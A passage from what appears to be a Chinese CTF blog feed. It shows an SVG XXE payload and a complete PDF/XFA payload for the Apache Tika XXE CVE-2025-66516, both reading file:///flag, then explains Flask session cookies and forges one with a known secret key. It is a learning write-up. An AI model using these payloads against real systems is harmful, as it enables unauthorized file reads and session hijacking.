style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">http://www.w3.org/2000/svg</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\"> width</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">=</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">1200</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\"> height</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">=</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">1200</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">></span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">    </span><span style=\"color:#999999;--shiki-dark:#666666\">&#x3C;</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">text</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\"> x</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">=</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">20</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\"> y</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">=</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">100</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\"> font-size</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">=</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">40</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\"> fill</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">=</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">red</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">></span><span style=\"color:#999999;--shiki-dark:#666666\">&#x26;</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">xxe</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#999999;--shiki-dark:#666666\">&#x3C;</span><span style=\"color:#999999;--shiki-dark:#666666\">/</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">text</span><span style=\"color:#999999;--shiki-dark:#666666\">></span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">&#x3C;</span><span style=\"color:#999999;--shiki-dark:#666666\">/</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">svg</span><span style=\"color:#999999;--shiki-dark:#666666\">></span></span></code></pre>\n<p>其中，<code>&lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;1200&quot; height=&quot;1200&quot;&gt;</code>是svg矢量图的开头，加上他，后端文件类型检测就会识别该文件为<code>image/svg+xml</code></p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-xml\"><span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">&#x3C;</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">text</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\"> x</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">=</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">20</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\"> y</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">=</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">100</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\"> font-size</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">=</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">40</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\"> fill</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">=</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">red</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">></span><span style=\"color:#999999;--shiki-dark:#666666\">&#x26;</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">xxe</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#999999;--shiki-dark:#666666\">&#x3C;</span><span style=\"color:#999999;--shiki-dark:#666666\">/</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">text</span><span style=\"color:#999999;--shiki-dark:#666666\">></span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">&#x3C;</span><span style=\"color:#999999;--shiki-dark:#666666\">/</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">svg</span><span style=\"color:#999999;--shiki-dark:#666666\">></span></span></code></pre>\n<p><code>&lt;text&gt;</code>标签用于在svg文件上绘制文字</p>\n<p><code>x=&quot;20&quot; y=&quot;100&quot; font-size=&quot;40&quot; fill=&quot;red&quot;</code>：如果后端对文件进行了图片渲染，那么这段代码就可以将比如<code>file:///flag</code>的结果用红色的40号字体写在距离左边20，距离顶部100的位置上。</p>\n<h1 id=\"cve-2025-66516\"><a class=\"anchor\" href=\"#cve-2025-66516\">#</a> CVE-2025-66516</h1>\n<p>CVE-2025-66516是存在于Apache Tika中的一个极其严重的XXE漏洞。</p>\n<p>受影响组件为Apache Tika（具体为 <code>tika-core</code>、<code>tika-pdf-module</code> 和 <code>tika-parsers</code>）</p>\n<p>其原理是在PDF中插入恶意的XFA（XML Forms Architecture，XML 表单架构）数据，当Tika 尝试提取该PDF中的XFA数据进行分析时，3.2.2 版本之前的底层 <code>tika-core</code>XML解析器没有对外部实体解析进行严格限制，就会出现XXE漏洞。</p>\n<h2 id=\"unictf2026-securedoc\"><a class=\"anchor\" href=\"#unictf2026-securedoc\">#</a> UniCTF2026 SecureDoc</h2>\n<p>实在是弄不出来包含XAF的PDF文件，在网上找了一个大佬的payload：</p>\n<p><a href=\"https://www.sanjiuctf.cn/?p=2603\">2026-uniCTFwp – 叁玖の小博客</a></p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>%PDF-1.5</span></span>\n<span class=\"line\"><span>1 0 obj</span></span>\n<span class=\"line\"><span>&#x3C;&#x3C;/Type/Catalog/Pages 2 0 R/AcroForm &#x3C;&#x3C;/XFA 3 0 R>>>></span></span>\n<span class=\"line\"><span>endobj</span></span>\n<span class=\"line\"><span>2 0 obj</span></span>\n<span class=\"line\"><span>&#x3C;&#x3C;/Type/Pages/Count 1/Kids [4 0 R]>></span></span>\n<span class=\"line\"><span>endobj</span></span>\n<span class=\"line\"><span>3 0 obj</span></span>\n<span class=\"line\"><span>&#x3C;&#x3C;/Length 120>></span></span>\n<span class=\"line\"><span>stream</span></span>\n<span class=\"line\"><span>&#x3C;?xml version=\"1.0\"?></span></span>\n<span class=\"line\"><span>&#x3C;!DOCTYPE xdp [</span></span>\n<span class=\"line\"><span>&#x3C;!ENTITY xxe SYSTEM \"file:///flag\"></span></span>\n<span class=\"line\"><span>]></span></span>\n<span class=\"line\"><span>&#x3C;xdp:xdp xmlns:xdp=\"http://ns.adobe.com/xdp/\"></span></span>\n<span class=\"line\"><span>&#x3C;datasets>&#x3C;data>&#x26;xxe;&#x3C;/data>&#x3C;/datasets></span></span>\n<span class=\"line\"><span>&#x3C;/xdp:xdp></span></span>\n<span class=\"line\"><span>endstream</span></span>\n<span class=\"line\"><span>endobj</span></span>\n<span class=\"line\"><span>4 0 obj</span></span>\n<span class=\"line\"><span>&#x3C;&#x3C;/Type/Page/Parent 2 0 R/MediaBox [0 0 612 792]>></span></span>\n<span class=\"line\"><span>endobj</span></span>\n<span class=\"line\"><span>xref</span></span>\n<span class=\"line\"><span>0 5</span></span>\n<span class=\"line\"><span>0000000000 65535 f </span></span>\n<span class=\"line\"><span>0000000009 00000 n </span></span>\n<span class=\"line\"><span>0000000092 00000 n </span></span>\n<span class=\"line\"><span>0000000136 00000 n </span></span>\n<span class=\"line\"><span>0000000297 00000 n </span></span>\n<span class=\"line\"><span>trailer</span></span>\n<span class=\"line\"><span>&#x3C;&#x3C;/Size 5/Root 1 0 R>></span></span>\n<span class=\"line\"><span>startxref</span></span>\n<span class=\"line\"><span>409</span></span>\n<span class=\"line\"><span>%%EOF</span></span></code></pre>\n<p>除了中间的XXE漏洞，其他都是PDF所需的格式。</p>\n",
            "tags": []
        },
        {
            "id": "https://zlaryy.top/2026/04/02/flask%20session%E4%BC%AA%E9%80%A0%E4%B8%8Efilter-chain/",
            "url": "https://zlaryy.top/2026/04/02/flask%20session%E4%BC%AA%E9%80%A0%E4%B8%8Efilter-chain/",
            "title": "flask的session伪造与filter-chain",
            "date_published": "2026-04-02T08:00:00.000Z",
            "content_html": "<h1 id=\"flask-session伪造\"><a class=\"anchor\" href=\"#flask-session伪造\">#</a> flask session伪造</h1>\n<p>参考：<a href=\"https://www.cnblogs.com/GTL-JU/p/16960460.html\">https://www.cnblogs.com/GTL-JU/p/16960460.html</a></p>\n<p><a href=\"https://paoka1.top/2022/05/28/Flask-%E7%9A%84-SESSION-%E4%BC%AA%E9%80%A0/\">https://paoka1.top/2022/05/28/Flask-的-SESSION-伪造/</a></p>\n<p>在最近的几次比赛中都遇到了这个session，格式特别像JWT，没有了解过这个内容很可能混淆，所以这里学习一下</p>\n<h2 id=\"flask的session结构\"><a class=\"anchor\" href=\"#flask的session结构\">#</a> flask的session结构</h2>\n<p>这里我们可以用flask搭建一个本地网站生成session:</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-python\"><span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">from</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> flask </span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">import</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> Flask</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> session</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> request</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">app </span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> Flask</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#998418;--shiki-dark:#B8A965\">__name__</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">app</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">secret_key </span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">ZLARYY</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">@</span><span style=\"color:#59873A;--shiki-dark:#80A665\">app</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#59873A;--shiki-dark:#80A665\">route</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">/</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">methods</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">[</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">GET</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">]</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">def</span><span style=\"color:#59873A;--shiki-dark:#80A665\"> set_session</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">    name </span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> request</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">args</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">get</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">name</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">    session</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">[</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">name</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">]</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">name</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">    return</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">welcome </span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">%s</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> %</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> name</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">if</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> __name__</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> ==</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">__main__</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">    app</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">run</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">debug</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">True</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\"> port</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">8080</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/04/02/flask%20session%E4%BC%AA%E9%80%A0%E4%B8%8Efilter-chain/1.png\" class=\"\"></p>\n<p>我们将session单独拿出来看看：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>eyJuYW1lIjoiWkxBUllZIn0.acnmwQ.vk4_UCfBIl-iNcvTpc60DAXYB7w</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>base64解码之后为&#123;\"name\":\"ZLARYY\"&#125;\u001ary�B�8P'�\"X�r��s�\u0003\u0001v\u0001�</span></span></code></pre>\n<p>由此我们可以直观地看到：<strong>flask的session格式一般是由base64加密的Session数据(经过了json、zlib压缩处理的字符串) . 时间戳 . 签名组成的。</strong></p>\n<p><strong>时间戳</strong>：用来告诉服务端数据最后一次更新的时间，超过31天的会话，将会过期，变为无效会话；</p>\n<p><strong>签名</strong>：是利用<code>Hmac</code>算法，将session数据和时间戳加上<code>secret_key</code>加密而成的，用来保证数据没有被修改。</p>\n<h2 id=\"伪造session\"><a class=\"anchor\" href=\"#伪造session\">#</a> 伪造session</h2>\n<p>那么伪造flask session的方法就很清晰了：与JWT伪造相同，我们需要知道SECRET_KEY。</p>\n<p>需要用到的工具：<a href=\"https://github.com/noraj/flask-session-cookie-manager\">https://github.com/noraj/flask-session-cookie-manager</a></p>\n<p>这里我们已知SECRET_KEY是ZLARYY，那么我们利用这个工具尝试伪造一个session，在此之前我们把源码的内容稍微修改一下：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-python\"><span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">from</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> flask </span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">import</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> Flask</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> session</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> request</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">app </span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> Flask</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#998418;--shiki-dark:#B8A965\">__name__</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">app</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">secret_key </span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">ZLARYY</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">@</span><span style=\"color:#59873A;--shiki-dark:#80A665\">app</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#59873A;--shiki-dark:#80A665\">route</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">/</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\"> methods</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">[</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">GET</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">]</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">def</span><span style=\"color:#59873A;--shiki-dark:#80A665\"> index</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">    if</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">name</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> in</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> request</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">args</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">        name </span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> request</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">args</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">get</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">name</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">        session</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">[</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">name</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">]</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> name</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">    current_user </span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> session</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">get</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">name</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">    </span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">    if</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> current_user </span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">==</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">admin</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">        return</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">flag is ZLARYY&#123;Y0u_Ar3_f1a5k_SEs5l0n_m@s73r&#125;</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">    else</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">        return</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> f</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">'Welcome, </span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">current_user</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">'</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">if</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> __name__</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> ==</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">__main__</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">    app</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">run</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">debug</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">True</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\"> port</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">8080</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span></code></pre>\n<p>这样就能验证我哦们的session是否伪造成功了</p>\n<p><img loading=\"lazy\" src=\"/2026/04/02/flask%20session%E4%BC%AA%E9%80%A0%E4%B8%8Efilter-chain/2.png\" class=\"\"></p>\n<p>我们将生成的cookie替换浏览器上的cookie：</p>\n<p><img loading=\"lazy\" src=\"/2026/04/02/flask%20session%E4%BC%AA%E9%80%A0%E4%B8%8Efilter-chain/3.png\" class=\"\"></p>\n<p>伪造成功</p>\n<p>或者这里还有一个生成 cookie的python脚本：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-python\"><span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">from</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> flask </span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">import</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> Flask</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">from</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> flask</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">sessions </span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">import</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> SecureCookieSessionInterface</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">app </span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> Flask</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#998418;--shiki-dark:#B8A965\">__name__</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">app</span><span 